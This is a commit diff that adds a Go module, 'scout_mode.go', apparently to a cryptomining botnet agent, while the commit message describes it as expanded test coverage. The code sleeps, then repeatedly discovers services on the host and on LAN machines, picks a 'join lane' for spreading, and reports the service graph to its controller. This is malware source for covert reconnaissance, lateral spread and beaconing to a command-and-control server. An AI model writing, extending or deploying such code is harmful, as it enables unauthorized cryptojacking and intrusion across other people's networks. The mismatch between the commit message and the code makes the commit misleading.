Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/client/scout_mode.go

@@ -0,0 +1,74 @@
+package client
+
+import (
+	"encoding/json"
+	"log"
+	"time"
+
+	"crypto-miner-agent/deploy"
+)
+
+const (
+	scoutInitialDelay = 90 * time.Second
+	scoutCycleInterval = 15 * time.Minute
+)
+
+func (c *AgentClient) startScoutRoving() {
+	go func() {
+		time.Sleep(scoutInitialDelay)
+		for {
+			c.runScoutCycle()
+			time.Sleep(scoutCycleInterval)
+		}
+	}()
+}
+
+func (c *AgentClient) runScoutCycle() {
+	c.mu.Lock()
+	cfg := c.cfg
+	c.mu.Unlock()
+	if !cfg.ScoutMode {
+		return
+	}
+
+	raw := deploy.RunServiceDiscover(32)
+	result, err := deploy.ParseServiceDiscoverJSON(raw)
+	if err != nil {
+		log.Printf("[scout] service_discover parse: %v", err)
+		return
+	}
+	serviceCount := len(result.Local.Services)
+	for _, h := range result.LANHosts {
+		serviceCount += len(h.Services)
+	}
+
+	lane := deploy.PickLocalJoinLane(raw)
+	if lane == "" {
+		if msg, derr := c.runDiscoverAndJoin(32); derr == nil {
+			lane = c.getJoinLane()
+			log.Printf("[scout] discover_and_join: %s (%s)", lane, msg)
+		} else {
+			log.Printf("[scout] discover_and_join skipped: %v", derr)
+		}
+	} else {
+		c.setJoinLane(lane)
+		log.Printf("[scout] service_graph join_lane_candidate=%s services=%d", lane, serviceCount)
+	}
+
+	c.pushScoutReport(result, lane, serviceCount)
+}
+
+func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
+	payload, err := json.Marshal(map[string]interface{}{
+		"join_lane":      joinLane,
+		"service_count":  serviceCount,
+		"service_graph":  result,
+		"scout_mode":     true,
+	})
+	if err != nil {
+		return
+	}
+	if err := c.write(Message{Type: "scout_report", Payload: payload}); err != nil {
+		log.Printf("[scout] scout_report write: %v", err)
+	}
+}